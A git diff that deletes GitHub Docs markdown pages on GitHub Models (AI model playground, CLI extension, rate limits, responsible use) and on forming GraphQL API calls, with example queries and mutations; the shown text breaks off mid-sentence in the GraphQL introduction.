/repositories/creating-and-managing-repositories/cloning-a-repository - popularHeading: Popular CLI tasks -changelog: - label: cli -layout: product-landing -beta_product: false ---- - diff --git a/content/github-models/index.md b/content/github-models/index.md deleted file mode 100644 index 974225a2cb66..000000000000 --- a/content/github-models/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: GitHub Models -intro: 'Find and experiment with AI models for free.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /prototyping-with-ai-models - - /integrating-ai-models-into-your-development-workflow - - /responsible-use-of-github-models ---- diff --git a/content/github-models/integrating-ai-models-into-your-development-workflow.md b/content/github-models/integrating-ai-models-into-your-development-workflow.md deleted file mode 100644 index d1ac910660b3..000000000000 --- a/content/github-models/integrating-ai-models-into-your-development-workflow.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Integrating AI models into your development workflow -intro: 'Call AI models in the tools you use every day.' -versions: - feature: github-models -shortTitle: Integrate AI models ---- - -With {% data variables.product.prodname_github_models %} extensions, you can call specific AI models from both {% data variables.product.prodname_copilot_chat_short %} and {% data variables.product.prodname_cli %}. These extensions integrate directly into your development workflow, allowing you to prompt models without context switching. - -## Using AI models in {% data variables.product.prodname_copilot_chat_short %} - -If you have a {% data variables.product.prodname_copilot_short %} subscription, you can work with AI models in {% data variables.product.prodname_copilot_chat_short %} in two different ways: -* Using the {% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %}. With this extension, you can ask for model recommendations based on certain criteria and chat with specific models. See [Using the {% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %}](#using-the-github-models-copilot-extension). -* Using multiple model support in {% data variables.product.prodname_copilot_chat_short %}. With multi-model {% data variables.product.prodname_copilot_chat_short %}, you can choose a specific model to use for a conversation, then prompt {% data variables.product.prodname_copilot_chat_short %} as usual. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat). - -### Using the {% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %} - -> [!NOTE] The {% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %} is in {% data variables.release-phases.public_preview %} and is subject to change. - -1. Install the [{% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %}](https://github.com/marketplace/models-github). - * If you have a {% data variables.product.prodname_copilot_pro_short %} subscription, you can install the extension on your personal account. - * If you have access to {% data variables.product.prodname_copilot_short %} through a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription: - * An organization owner or enterprise owner needs to enable the {% data variables.product.prodname_copilot_extensions_short %} policy for your organization or enterprise. - * An organization owner needs to install the extension for your organization. - -1. Open any implementation of {% data variables.product.prodname_copilot_chat_short %} that supports {% data variables.product.prodname_copilot_extensions %}. For a list of supported {% data variables.product.prodname_copilot_chat_short %} implementations, see [AUTOTITLE](/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat#supported-clients-and-ides). -1. In the chat window, type `@models YOUR-PROMPT`, then send your prompt. There are several use cases for the {% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %}, including: - * Recommending a particular model based on context and criteria you provide. For example, you can ask for a low-cost OpenAI model that supports function calling. - * Executing prompts using a particular model. This is especially useful when you want to use a model that is not currently available in multi-model {% data variables.product.prodname_copilot_chat_short %}. - * Listing models currently available through {% data variables.product.prodname_github_models %} - -## Using AI models from the command line - -> [!NOTE] The {% data variables.product.prodname_github_models %} extension for {% data variables.product.prodname_cli %} is in {% data variables.release-phases.public_preview %} and is subject to change. - -You can use the {% data variables.product.prodname_github_models %} extension for {% data variables.product.prodname_cli %} to prompt AI models from the command line, and even pipe in the output of a command as context. - -### Prerequisites - -To use the {% data variables.product.prodname_github_models %} CLI extension, you need to have {% data variables.product.prodname_cli %} installed. {% data reusables.cli.cli-installation %} - -### Installing the extension - -1. If you have not already authenticated to the {% data variables.product.prodname_cli %}, run the following command in your terminal. - - ```shell copy - gh auth login - ``` - -1. To install the {% data variables.product.prodname_github_models %} extension, run the following command. - - ```shell copy - gh extension install https://github.com/github/gh-models - ``` - -### Using the extension - -To see a list of all available commands, run `gh models`. - -There are a few key ways you can use the extension: - * **To ask a model multiple questions using a chat experience**, run `gh models run`. Select your model from the listed models, then send your prompts. - * **To ask a model a single question**, run `gh models run MODEL-NAME "QUESTION"` in your terminal. For example, to ask the GPT 4o model why the sky is blue, you can run `gh models run gpt-4o "why is the sky blue?"`. - * **To provide the output of a command as context when you call a model**, you can join a separate command and the call to the model with the pipe character (`|`). For example, to summarize the README file in the current directory using the GPT 4o model, you can run `cat README.md | gh models run gpt-4o "summarize this text"`. diff --git a/content/github-models/prototyping-with-ai-models.md b/content/github-models/prototyping-with-ai-models.md deleted file mode 100644 index 833363809fc9..000000000000 --- a/content/github-models/prototyping-with-ai-models.md +++ /dev/null @@ -1,350 +0,0 @@ ---- -title: Prototyping with AI models -shortTitle: Prototype with AI models -intro: 'Find and experiment with AI models for free.' -versions: - feature: github-models ---- - -If you want to develop a generative AI application, you can use {% data variables.product.prodname_github_models %} to find and experiment with AI models for free. Once you are ready to bring your application to production, you can switch to a token from a paid Azure account. See the [Azure AI](https://aka.ms/azureai/github-models) documentation. - -See also [AUTOTITLE](/github-models/responsible-use-of-github-models). - -## Finding AI models - -To find an AI model: - -{% data reusables.models.steps-to-open-model-playground %} - -The model is opened in the model playground. Details of the model are displayed in the sidebar on the right. If the sidebar is not displayed, expand it by clicking the **{% octicon "sidebar-expand" aria-label="Show parameters setting" %}** icon at the right of the playground. - -> [!NOTE] Access to OpenAI's models is in {% data variables.release-phases.public_preview %} and subject to change. - -## Experimenting with AI models in the playground - -The AI model playground is a free resource that allows you to adjust model parameters and submit prompts to see how a model responds. - ->[!NOTE] -> -> * The model playground is in {% data variables.release-phases.public_preview %} and subject to change. -> * The playground is rate limited. See [Rate limits](#rate-limits) below. - -To adjust parameters for the model, in the playground, select the **Parameters** tab in the sidebar. - -To see code that corresponds to the parameters that you selected, switch from the **Chat** tab to the **Code** tab. - -![Screenshot of the 'Code' tab button, highlighted with a dark orange outline, at the top left of the playground.](/assets/images/help/models/model-playground-code-tab.png) - -### Comparing models - -You can submit a prompt to two models at the same time and compare the responses. - -With one model open in the playground, click **Compare**, then, in the dropdown menu, select a model for comparison. The selected model opens in a second chat window. When you type a prompt in either chat window, the prompt is mirrored to the other window. The prompts are submitted simultaneously so that you can compare the responses from each model. - -Any parameters you set are used for both models. - -## Experimenting with AI models using the API - ->[!NOTE] -> -> The free API usage is in {% data variables.release-phases.public_preview %} and subject to change. - -{% data variables.product.company_short %} provides free API usage so that you can experiment with AI models in your own application. - -The steps to use each model are similar. In general, you will need to: - -{% data reusables.models.steps-to-open-model-playground %} - - The model opens in the model playground. - -1. Click the **Code** tab. -1. Optionally, use the language dropdown to select the programming language. -1. Optionally, use the SDK dropdown to select which SDK to use. - - All models can be used with the Azure AI Inference SDK, and some models support additional SDKs. If you want to easily switch between models, you should select "Azure AI Inference SDK". If you selected "REST" as the language, you won't use an SDK. Instead, you will use the API endpoint directly. -1. Either open a codespace, or set up your local environment: - * To run in a codespace, click **{% octicon "codespaces" aria-hidden="true" %} Run codespace**, then click **Create new codespace**. - * To run locally: - * Create a {% data variables.product.company_short %} {% data variables.product.pat_generic %}. The token needs to have `models:read` permissions. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - * Save your token as an environment variable. - * Install the dependencies for the SDK, if required. -1. Use the example code to make a request to the model. - -The free API usage is rate limited. See [Rate limits](#rate-limits) below. - -## Saving and sharing your playground experiments - -You can save and share your progress in the playground with presets. Presets save: -* Your current state -* Your parameters -* Your chat history (optional) - -To create a preset for your current context, select **Preset: PRESET-NAME** {% octicon "triangle-down" aria-hidden="true" %} at the top right of the playground, then click **{% octicon "plus" aria-hidden="true" %} Create new preset**. You need to name your preset, and you can also choose to provide a preset description, include your chat history, and allow your preset to be shared. - -There are two ways to load a preset: -* Select the **Preset: PRESET-NAME** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click the preset you want to load. -* Open a shared preset URL - -After you load a preset, you can edit, share, or delete the preset: -* To edit the preset, change the parameters and prompt the model. Once you are satisfied with your changes, select the **Preset: PRESET-NAME** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **{% octicon "pencil" aria-hidden="true" %} Edit preset** and save your updates. -* To share the preset, select the **Preset: PRESET-NAME** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **{% octicon "share" aria-hidden="true" %} Share preset** to get a shareable URL. -* To delete the preset, select the **Preset: PRESET-NAME** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **{% octicon "trash" aria-hidden="true" %} Delete preset** and confirm the deletion. - -## Using the prompt editor - -The prompt editor in {% data variables.product.prodname_github_models %} is designed to help you iterate, refine, and perfect your prompts. This dedicated view provides a focused and intuitive experience for crafting and testing inputs, enabling you to: - -* Quickly test and refine prompts without the complexity of multi-turn interactions. -* Fine-tune prompts for precision and relevance in your projects. -* Use a specialized space for single-turn scenarios to ensure consistent and optimized results. - -To access the prompt editor, click **{% octicon "stack" aria-hidden="true" %} Prompt editor** at the top right of the playground. - -![Screenshot of the 'Prompt editor' button, highlighted with a dark orange outline, at the top right of the playground.](/assets/images/help/models/model-playground-prompt-editor.png) - -## Experimenting with AI models in {% data variables.product.prodname_vscode %} - -> [!NOTE] The AI Toolkit extension for {% data variables.product.prodname_vscode %} is in {% data variables.release-phases.public_preview %} and is subject to change. - -If you prefer to experiment with AI models in your IDE, you can install the AI Toolkit extension for {% data variables.product.prodname_vscode %}, then test models with adjustable parameters and context. - -1. In {% data variables.product.prodname_vscode %}, install the pre-release version of the [AI Toolkit for {% data variables.product.prodname_vscode %}](https://marketplace.visualstudio.com/items?itemName=ms-windows-ai-studio.windows-ai-studio). -1. To open the extension, click the AI Toolkit icon in the activity bar. -1. Authorize the AI Toolkit to connect to your {% data variables.product.prodname_dotcom %} account. -1. In the "My models" section of the AI Toolkit panel, click **Open Model Catalog**, then find a model to experiment with. - * To use a model hosted remotely through {% data variables.product.prodname_github_models %}, on the model card, click **Try in playground**. - * To download and use a model locally, on the model card, click **Download**. Once the download is complete, on the same model card, click **Load in playground**. - -1. In the sidebar, provide any context instructions and inference parameters for the model, then send a prompt. - -## Going to production - -The rate limits for the playground and free API usage are intended to help you experiment with models and develop your AI application. Once you are ready to bring your application to production, you can use a token from a paid Azure account instead of your {% data variables.product.company_short %} {% data variables.product.pat_generic %}. You don't need to change anything else in your code. - -For more information, see the [Azure AI](https://aka.ms/azureai/github-models) documentation. - -## Rate limits - -The playground and free API usage are rate limited by requests per minute, requests per day, tokens per request, and concurrent requests. If you get rate limited, you will need to wait for the rate limit that you hit to reset before you can make more requests. - -Low, high, and embedding models have different rate limits. To see which type of model you are using, refer to the model's information in {% data variables.product.prodname_marketplace %}. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Rate limit tierRate limitsCopilot FreeCopilot ProCopilot BusinessCopilot Enterprise
LowRequests per minute15151520
Requests per day150150300450
Tokens per request8000 in, 4000 out8000 in, 4000 out8000 in, 4000 out8000 in, 8000 out
Concurrent requests5558
HighRequests per minute10101015
Requests per day5050100150
Tokens per request8000 in, 4000 out8000 in, 4000 out8000 in, 4000 out16000 in, 8000 out
Concurrent requests2224
EmbeddingRequests per minute15151520
Requests per day150150300450
Tokens per request64000640006400064000
Concurrent requests5558
Azure OpenAI o1-previewRequests per minuteNot applicable122
Requests per dayNot applicable81012
Tokens per requestNot applicable4000 in, 4000 out4000 in, 4000 out4000 in, 8000 out
Concurrent requestsNot applicable111
Azure OpenAI o1-miniRequests per minuteNot applicable233
Requests per dayNot applicable121520
Tokens per requestNot applicable4000 in, 4000 out4000 in, 4000 out4000 in, 4000 out
Concurrent requestsNot applicable111
Azure OpenAI o3-miniRequests per minuteNot applicable233
Requests per dayNot applicable121520
Tokens per requestNot applicable4000 in, 4000 out4000 in, 4000 out4000 in, 4000 out
Concurrent requestsNot applicable111
DeepSeek-R1Requests per minute1122
Requests per day881012
Tokens per request4000 in, 4000 out4000 in, 4000 out4000 in, 4000 out4000 in, 4000 out
Concurrent requests1111
- -These limits are subject to change without notice. - -## Leaving feedback - -To leave feedback about {% data variables.product.prodname_github_models %}, start a new discussion or comment on an existing discussion in the [GitHub Community](https://github.com/orgs/community/discussions/categories/models). diff --git a/content/github-models/responsible-use-of-github-models.md b/content/github-models/responsible-use-of-github-models.md deleted file mode 100644 index b50c2a565c20..000000000000 --- a/content/github-models/responsible-use-of-github-models.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Responsible use of GitHub Models -shortTitle: Responsible use -intro: 'Learn how to use {% data variables.product.prodname_github_models %} responsibly by understanding its purposes, capabilities, and limitations.' -versions: - feature: github-models -type: rai ---- - -With {% data variables.product.prodname_github_models %}, you build your understanding of AI model capabilities by experimenting with model settings and sending prompts through a chat interface. Additionally, you can directly interact with models through an SDK. Refer to a model's "Getting Started" tab for more information about how to use the SDK. Refer to a model’s "README" tab for more information on the model. Remember when interacting with a model you are experimenting with AI, so content mistakes are possible. - -{% data variables.product.prodname_github_models %} is designed to allow for learning, experimentation and proof-of-concept activities. The feature is subject to various limits (including requests per minute, requests per day, tokens per request, and concurrent requests) and is not designed for production use cases. {% data variables.product.prodname_github_models %} employs a number of [content filters](https://azure.microsoft.com/en-us/products/ai-services/ai-content-safety). These filters cannot be turned off as part of the {% data variables.product.prodname_github_models %} experience. If you decide to employ models through [Azure AI](https://aka.ms/azureai/github-models) or a paid service, please configure your content filters to meet your requirements. diff --git a/content/graphql/README.md b/content/graphql/README.md deleted file mode 100644 index e7834649bd40..000000000000 --- a/content/graphql/README.md +++ /dev/null @@ -1,8 +0,0 @@ -# GraphQL - -The `/content/graphql` directory is where the GitHub GraphQL API docs live! - -* The `/content/graphql/guides` and `/content/graphql/overview` directories contain articles that are human-editable. -* The `/content/graphql/reference` directory contains an article for each GraphQL data type used in the GitHub GraphQL API. This content is generated from the data in `src/graphql/data` and should not be edited by a human. **As a result, we cannot accept contributions to GraphQL API reference content in this repository.** - -For more information, see the [`/src/graphql/README.md`](/src/graphql/README.md). diff --git a/content/graphql/guides/forming-calls-with-graphql.md b/content/graphql/guides/forming-calls-with-graphql.md deleted file mode 100644 index 223cbeb2b178..000000000000 --- a/content/graphql/guides/forming-calls-with-graphql.md +++ /dev/null @@ -1,396 +0,0 @@ ---- -title: Forming calls with GraphQL -intro: 'Learn how to authenticate to the GraphQL API, then learn how to create and run queries and mutations.' -redirect_from: - - /v4/guides/forming-calls - - /graphql/guides/forming-calls -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -shortTitle: Form calls with GraphQL ---- - -## Authenticating with GraphQL - -You can authenticate to the GraphQL API using a {% data variables.product.pat_generic %}, {% data variables.product.prodname_github_app %}, or {% data variables.product.prodname_oauth_app %}. - -### Authenticating with a {% data variables.product.pat_generic %} - -To authenticate with a {% data variables.product.pat_generic %}, follow the steps in [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). The data that you are requesting will dictate which scopes or permissions you will need. - -For example, select the "issues:read" permission to read all of the issues in the repositories your token has access to. - -All {% data variables.product.pat_v2 %}s include read access to public repositories. To access public repositories with a {% data variables.product.pat_v1 %}, select the "public_repo" scope. - -If your token does not have the required scopes or permissions to access a resource, the API will return an error message that states the scopes or permissions your token needs. - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. In order to attribute activity to your app, you can make your app authenticate as an app installation. In order to attribute app activity to a user, you can make your app authenticate on behalf of a user. In both cases, you will generate a token that you can use to authenticate to the GraphQL API. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -### Authenticating with a {% data variables.product.prodname_oauth_app %} - -To authenticate with an OAuth token from an {% data variables.product.prodname_oauth_app %}, you must first authorize your {% data variables.product.prodname_oauth_app %} using either a web application flow or device flow. Then, you can use the access token that you received to access the API. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app) and [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps). - -## The GraphQL endpoint - -The REST API has numerous endpoints. With the GraphQL API, the endpoint remains constant, no matter what operation you perform. For {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %}, that endpoint is: - -
{% data variables.product.graphql_url %}
- -{% ifversion ghec %} - -If you access {% data variables.product.github %} at a different domain, such as `{% data variables.enterprise.data_residency_example_domain %}`, the endpoint will reflect that domain. For example: `https://api.octocorp.ghe.com/graphql`. - -{% endif %} - -## Communicating with GraphQL - -Because GraphQL operations consist of multiline JSON, GitHub recommends using the [Explorer](/graphql/guides/using-the-explorer) to make GraphQL calls. You can also use `curl` or any other HTTP-speaking library. - -In REST, [HTTP verbs](/rest#http-verbs) determine the operation performed. In GraphQL, you'll provide a JSON-encoded body whether you're performing a query or a mutation, so the HTTP verb is `POST`. The exception is an [introspection query](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), which is a simple `GET` to the endpoint. For more information on GraphQL versus REST, see [AUTOTITLE](/graphql/guides/migrating-from-rest-to-graphql). - -To query GraphQL in a `curl` command, make a `POST` request with a JSON payload. The payload must contain a string called `query`: - -```shell -curl -H "Authorization: bearer TOKEN" -X POST -d " \ - { \ - \"query\": \"query { viewer { login }}\" \ - } \ -" {% data variables.product.graphql_url %} -``` - -> [!NOTE] -> The string value of `"query"` must escape newline characters or the schema will not parse it correctly. For the `POST` body, use outer double quotes and escaped inner double quotes. - -### About query and mutation operations - -The two types of allowed operations in GitHub's GraphQL API are _queries_ and _mutations_. Comparing GraphQL to REST, queries operate like `GET` requests, while mutations operate like `POST`/`PATCH`/`DELETE`. The [mutation name](/graphql/reference/mutations) determines which modification is executed. - -For information about rate limiting, see [AUTOTITLE](/graphql/overview/resource-limitations). - -Queries and mutations share similar forms, with some important differences. - -### About queries - -GraphQL queries return only the data you specify. To form a query, you must specify [fields within fields](/graphql/guides/introduction-to-graphql#field) (also known as _nested subfields_) until you return only [scalars](/graphql/reference/scalars). - -Queries are structured like this: - -
query {
-  JSON-OBJECT-TO-RETURN
-}
- -For a real-world example, see [Example query](#example-query). - -### About mutations - -To form a mutation, you must specify three things: - -1. _Mutation name_. The type of modification you want to perform. -1. _Input object_. The data you want to send to the server, composed of _input fields_. Pass it as an argument to the mutation name. -1. _Payload object_. The data you want to return from the server, composed of _return fields_. Pass it as the body of the mutation name. - -Mutations are structured like this: - -
mutation {
-  MUTATION-NAME(input: {MUTATION-NAME-INPUT!}) {
-    MUTATION-NAME-PAYLOAD
-  }
-}
- -The input object in this example is `MutationNameInput`, and the payload object is `MutationNamePayload`. - -In the [mutations](/graphql/reference/mutations) reference, the listed _input fields_ are what you pass as the input object. The listed _return fields_ are what you pass as the payload object. - -For a real-world example, see [Example mutation](#example-mutation). - -## Working with variables - -[Variables](https://graphql.org/learn/queries/#variables) can make queries more dynamic and powerful, and they can reduce complexity when passing mutation input objects. - -> [!NOTE] -> If you're using the Explorer, make sure to enter variables in the separate [Query Variables pane](/graphql/guides/using-the-explorer#using-the-variable-pane), and do not include the word `variables` before the JSON object. - -Here's an example query with a single variable: - -```graphql -query($number_of_repos:Int!) { - viewer { - name - repositories(last: $number_of_repos) { - nodes { - name - } - } - } -} -variables { - "number_of_repos": 3 -} -``` - -There are three steps to using variables: - -1. Define the variable outside the operation in a `variables` object: - - ```graphql - variables { - "number_of_repos": 3 - } - ``` - - The object must be valid JSON. This example shows a simple `Int` variable type, but it's possible to define more complex variable types, such as input objects. You can also define multiple variables here. - -1. Pass the variable to the operation as an argument: - - ```graphql - query($number_of_repos:Int!){ - ``` - - The argument is a key-value pair, where the key is the _name_ starting with `$` (e.g., `$number_of_repos`), and the value is the _type_ (e.g., `Int`). Add a `!` to indicate whether the type is required. If you've defined multiple variables, include them here as multiple arguments. - -1. Use the variable within the operation: - - ```graphql - repositories(last: $number_of_repos) { - ``` - - In this example, we substitute the variable for the number of repositories to retrieve. We specify a type in step 2 because GraphQL enforces strong typing. - -This process makes the query argument dynamic. We can now simply change the value in the `variables` object and keep the rest of the query the same. - -Using variables as arguments lets you dynamically update values in the `variables` object without changing the query. - -## Example query - -Let's walk through a more complex query and put this information in context. - -The following query looks up the `octocat/Hello-World` repository, finds the 20 most recent closed issues, and returns each issue's title, URL, and first 5 labels: - -```graphql -query { - repository(owner:"octocat", name:"Hello-World") { - issues(last:20, states:CLOSED) { - edges { - node { - title - url - labels(first:5) { - edges { - node { - name - } - } - } - } - } - } - } -} -``` - -Looking at the composition line by line: - -* `query {` - - Because we want to read data from the server, not modify it, `query` is the root operation. (If you don't specify an operation, `query` is also the default.) - -* `repository(owner:"octocat", name:"Hello-World") {` - - To begin the query, we want to find a [`repository`](/graphql/reference/objects#repository) object. The schema validation indicates this object requires an `owner` and a `name` argument. - -* `issues(last:20, states:CLOSED) {` - - To account for all issues in the repository, we call the `issues` object. (We _could_ query a single `issue` on a `repository`, but that would require us to know the number of the issue we want to return and provide it as an argument.) - - Some details about the `issues` object: - - * The [docs](/graphql/reference/objects#repository) tell us this object has the type `IssueConnection`. - * Schema validation indicates this object requires a `last` or `first` number of results as an argument, so we provide `20`. - * The [docs](/graphql/reference/objects#repository) also tell us this object accepts a `states` argument, which is an [`IssueState`](/graphql/reference/enums#issuestate) enum that accepts `OPEN` or `CLOSED` values. To find only closed issues, we give the `states` key a value of `CLOSED`. - -* `edges {` - - We know `issues` is a connection because it has the `IssueConnection` type. To retrieve data about individual issues, we have to access the node via `edges`. - -* `node {` - - Here we retrieve the node at the end of the edge. The [`IssueConnection` docs](/graphql/reference/objects#issueconnection) indicate the node at the end of the `IssueConnection` type is an `Issue` object. - -* Now that we know we're retrieving an `Issue` object, we can look at the [docs](/graphql/reference/objects#issue) and specify the fields we want to return: - - ```graphql - title - url - labels(first:5) { - edges { - node { - name - } - } - } - ``` - - Here we specify the `title`, `url`, and `labels` fields of the `Issue` object. - - The `labels` field has the type [`LabelConnection`](/graphql/reference/objects#labelconnection). As with the `issues` object, because `labels` is a connection, we must travel its edges to a connected node: the `label` object. At the node, we can specify the `label` object fields we want to return, in this case, `name`. - -You may notice that running this query on the Octocat's public `Hello-World` repository won't return many labels. Try running it on one of your own repositories that does use labels, and you'll likely see a difference. - -## Example mutation - -Mutations often require information that you can only find out by performing a query first. This example shows two operations: - -1. A query to get an issue ID. -1. A mutation to add an emoji reaction to the issue. - -```graphql -query FindIssueID { - repository(owner:"octocat", name:"Hello-World") { - issue(number:349) { - id - } - } -} - -mutation AddReactionToIssue { - addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) { - reaction { - content - } - subject { - id - } - } -} -``` - -> [!TIP] -> Although you can include a query and a mutation in the same Explorer window if you give them names (`FindIssueID` and `AddReactionToIssue` in this example), the operations will be executed as separate calls to the GraphQL endpoint. It's not possible to perform a query at the same time as a mutation, or vice versa. - -Let's walk through the example. The task sounds simple: add an emoji reaction to an issue. - -So how do we know to begin with a query? We don't, yet. - -Because we want to modify data on the server (attach an emoji to an issue), we begin by searching the schema for a helpful mutation. The reference docs show the [`addReaction`](/graphql/reference/mutations#addreaction) mutation, with this description: `Adds a reaction to a subject.` Perfect! - -The docs for the mutation list three input fields: - -* `clientMutationId` (`String`) -* `subjectId` (`ID!`) -* `content` (`ReactionContent!`) - -The `!`s indicate that `subjectId` and `content` are required fields. A required `content` makes sense: we want to add a reaction, so we'll need to specify which emoji to use. - -But why is `subjectId` required? It's because the `subjectId` is the only way to identify _which_ issue in _which_ repository to react to. - -This is why we start this example with a query: to get the `ID`. - -Let's examine the query line by line: - -* `query FindIssueID {` - - Here we're performing a query, and we name it `FindIssueID`. Note that naming a query is optional; we give it a name here so that we can include it in same Explorer window as the mutation. - -* `repository(owner:"octocat", name:"Hello-World") {` - - We specify the repository by querying the `repository` object and passing `owner` and `name` arguments. - -* `issue(number:349) {` - - We specify the issue to react to by querying the `issue` object and passing a `number` argument. - -* `id` - - This is where we retrieve the `id` of `https://github.com/octocat/Hello-World/issues/349` to pass as the `subjectId`. - -When we run the query, we get the `id`: `MDU6SXNzdWUyMzEzOTE1NTE=` - -> [!NOTE] -> The `id` returned in the query is the value we'll pass as the `subjectID` in the mutation. Neither the docs nor schema introspection will indicate this relationship; you'll need to understand the concepts behind the names to figure this out. - -With the ID known, we can proceed with the mutation: - -* `mutation AddReactionToIssue {` - - Here we're performing a mutation, and we name it `AddReactionToIssue`. As with queries, naming a mutation is optional; we give it a name here so we can include it in the same Explorer window as the query. - -* `addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {` - - Let's examine this line: - - * `addReaction` is the name of the mutation. - * `input` is the required argument key. This will always be `input` for a mutation. - * `{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}` is the required argument value. This will always be an [input object](/graphql/reference/input-objects) (hence the curly braces) composed of input fields (`subjectId` and `content` in this case) for a mutation. - - How do we know which value to use for the content? The [`addReaction` docs](/graphql/reference/mutations#addreaction) tell us the `content` field has the type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an [enum](/graphql/reference/enums) because only certain emoji reactions are supported on GitHub issues. These are the allowed values for reactions (note some values differ from their corresponding emoji names): - - {% data reusables.repositories.reaction_list %} - -* The rest of the call is composed of the payload object. This is where we specify the data we want the server to return after we've performed the mutation. These lines come from the [`addReaction` docs](/graphql/reference/mutations#addreaction), which three possible return fields: - - * `clientMutationId` (`String`) - * `reaction` (`Reaction!`) - * `subject` (`Reactable!`) - - In this example, we return the two required fields (`reaction` and `subject`), both of which have required subfields (respectively, `content` and `id`). - -When we run the mutation, this is the response: - -```json -{ - "data": { - "addReaction": { - "reaction": { - "content": "HOORAY" - }, - "subject": { - "id": "MDU6SXNzdWUyMTc5NTQ0OTc=" - } - } - } -} -``` - -That's it! Check out your [reaction to the issue](https://github.com/octocat/Hello-World/issues/349) by hovering over the :tada: to find your username. - -One final note: when you pass multiple fields in an input object, the syntax can get unwieldy. Moving the fields into a [variable](#working-with-variables) can help. Here's how you could rewrite the original mutation using a variable: - -```graphql -mutation($myVar:AddReactionInput!) { - addReaction(input:$myVar) { - reaction { - content - } - subject { - id - } - } -} -variables { - "myVar": { - "subjectId":"MDU6SXNzdWUyMTc5NTQ0OTc=", - "content":"HOORAY" - } -} -``` - -> [!NOTE] -> You may notice that the `content` field value in the earlier example (where it's used directly in the mutation) does not have quotes around `HOORAY`, but it does have quotes when used in the variable. There's a reason for this: -> * When you use `content` directly in the mutation, the schema expects the value to be of type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an _enum_, not a string. Schema validation will throw an error if you add quotes around the enum value, as quotes are reserved for strings. -> * When you use `content` in a variable, the variables section must be valid JSON, so the quotes are required. Schema validation correctly interprets the `ReactionContent` type when the variable is passed into the mutation during execution. -> -> For more information on the difference between enums and strings, see the [official GraphQL spec](https://spec.graphql.org/June2018/#sec-Enums). - -## Further reading - -There is a _lot_ more you can do when forming GraphQL calls. Here are some places to look next: - -* [AUTOTITLE](/graphql/guides/using-pagination-in-the-graphql-api) -* [Fragments](https://graphql.org/learn/queries/#fragments) -* [Inline fragments](https://graphql.org/learn/queries/#inline-fragments) -* [Directives](https://graphql.org/learn/queries/#directives) diff --git a/content/graphql/guides/index.md b/content/graphql/guides/index.md deleted file mode 100644 index f27999c5904d..000000000000 --- a/content/graphql/guides/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Guides -intro: 'Learn about getting started with GraphQL, migrating from REST to GraphQL, and how to use the GitHub GraphQL API for a variety of tasks.' -redirect_from: - - /v4/guides -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /introduction-to-graphql - - /forming-calls-with-graphql - - /using-global-node-ids - - /migrating-from-rest-to-graphql - - /using-the-explorer - - /using-pagination-in-the-graphql-api - - /managing-enterprise-accounts - - /using-the-graphql-api-for-discussions - - /migrating-graphql-global-node-ids ---- diff --git a/content/graphql/guides/introduction-to-graphql.md b/content/graphql/guides/introduction-to-graphql.md deleted file mode 100644 index c28496a530c0..000000000000 --- a/content/graphql/guides/introduction-to-graphql.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Introduction to GraphQL -intro: Learn useful terminology and concepts for using the GitHub GraphQL API. -redirect_from: - - /v4/guides/intro-to-graphql - - /graphql/guides/intro-to-graphql -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -## GraphQL terminology - -The GitHub GraphQL API represents an architectural and conceptual shift from the GitHub REST API. You will likely encounter some new terminology in the GraphQL API [reference docs](/graphql). - -## Schema - -A schema defines a GraphQL API's type system. It describes the complete set of possible data (objects, fields, relationships, everything) that a client can access. Calls from the client are [validated](https://graphql.org/learn/validation/) and [executed](https://graphql.org/learn/execution/) against the schema. A client can find information about the schema via [introspection](#discovering-the-graphql-api). A schema resides on the GraphQL API server. For more information, see [Discovering the GraphQL 